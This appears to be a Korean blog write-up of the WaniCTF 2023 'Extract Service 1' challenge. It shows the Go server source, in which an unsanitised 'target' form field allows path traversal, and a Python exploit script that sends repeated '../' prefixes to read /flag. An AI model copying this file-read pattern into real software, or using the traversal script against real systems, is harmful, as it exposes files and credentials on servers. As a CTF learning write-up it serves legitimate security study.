1. 개요
LFI 문제
2. 분석
플래그는 /flag에 있다고 주어졌습니다.
코드를 보면, POST 로 파일 업로드 후 target 값의 파일을 로컬에서 읽어옵니다. targe값으로 flag를 읽어봅시다.
package main
import (
"net/http"
"os"
"os/exec"
"path/filepath"
"regexp"
"github.com/gin-gonic/gin"
"github.com/google/uuid"
)
func main() {
r := gin.Default()
r.LoadHTMLGlob("templates/*")
r.MaxMultipartMemory = 1 << 20 // 1MiB, to prevent DoS
r.GET("/", func(c *gin.Context) {
c.HTML(http.StatusOK, "index.html", gin.H{
"result": "",
})
})
r.POST("/", func(c *gin.Context) {
baseDir := filepath.Join("/tmp", uuid.NewString()) // ex. /tmp/02050a65-8ae8-4b50-87ea-87b3483aab1e
zipPath := baseDir + ".zip" // ex. /tmp/02050a65-8ae8-4b50-87ea-87b3483aab1e.zip
file, err := c.FormFile("file")
if err != nil {
c.HTML(http.StatusOK, "index.html", gin.H{
"result": "Error : " + err.Error(),
})
return
}
extractTarget := c.PostForm("target")
if extractTarget == "" {
c.HTML(http.StatusOK, "index.html", gin.H{
"result": "Error : target is required",
})
return
}
if err := os.MkdirAll(baseDir, 0777); err != nil {
c.HTML(http.StatusOK, "index.html", gin.H{
"result": "Error : " + err.Error(),
})
return
}
if err := c.SaveUploadedFile(file, zipPath); err != nil {
c.HTML(http.StatusOK, "index.html", gin.H{
"result": "Error : " + err.Error(),
})
return
}
if err := ExtractFile(zipPath, baseDir); err != nil {
c.HTML(http.StatusOK, "index.html", gin.H{
"result": "Error : " + err.Error(),
})
return
}
result, err := ExtractContent(baseDir, extractTarget)
if err != nil {
c.HTML(http.StatusOK, "index.html", gin.H{
"result": "Error : " + err.Error(),
})
return
}
c.HTML(http.StatusOK, "index.html", gin.H{
"result": result,
})
})
if err := r.Run(":8080"); err != nil {
panic(err)
}
}
func ExtractFile(zipPath, baseDir string) error {
if err := exec.Command("unzip", zipPath, "-d", baseDir).Run(); err != nil {
return err
}
return nil
}
func ExtractContent(baseDir, extractTarget string) (string, error) {
raw, err := os.ReadFile(filepath.Join(baseDir, extractTarget))
if err != nil {
return "", err
}
removeXmlTag := regexp.MustCompile("<.*?>")
resultXmlTagRemoved := removeXmlTag.ReplaceAllString(string(raw), "")
removeNewLine := regexp.MustCompile(`\r?\n`)
resultNewLineRemoved := removeNewLine.ReplaceAllString(resultXmlTagRemoved, "")
return resultNewLineRemoved, nil
}
3. exploit
import requests
import re
def load_docx() -> bytes:
docx = open('./temp.docx', 'rb')
return docx
def get_flag(num: int) -> str:
files = {
'file': load_docx()
}
data = {
'target': f"{'../'* num}flag",
}
result = requests.post("https://extract1-web.wanictf.org/", files=files, data=data)
return result.text
if __name__ == "__main__":
for num in range(6):
result = get_flag(num)
if "FLAG{" in result:
pattern = re.compile(r'FLAG{.*}')
flag = pattern.findall(result)[0]
print('flag', flag)
break
'CTF' 카테고리의 다른 글
[WaniCTF 2023] Prompt (0) | 2023.05.07 |
---|---|
[WaniCTF 2023] Extract Service 2 (0) | 2023.05.06 |
[WaniCTF 2023] netcat (0) | 2023.05.06 |
[WaniCTF 2023] 64bps (0) | 2023.05.05 |
[angstromCTF 2023] brokenlogin (0) | 2023.04.29 |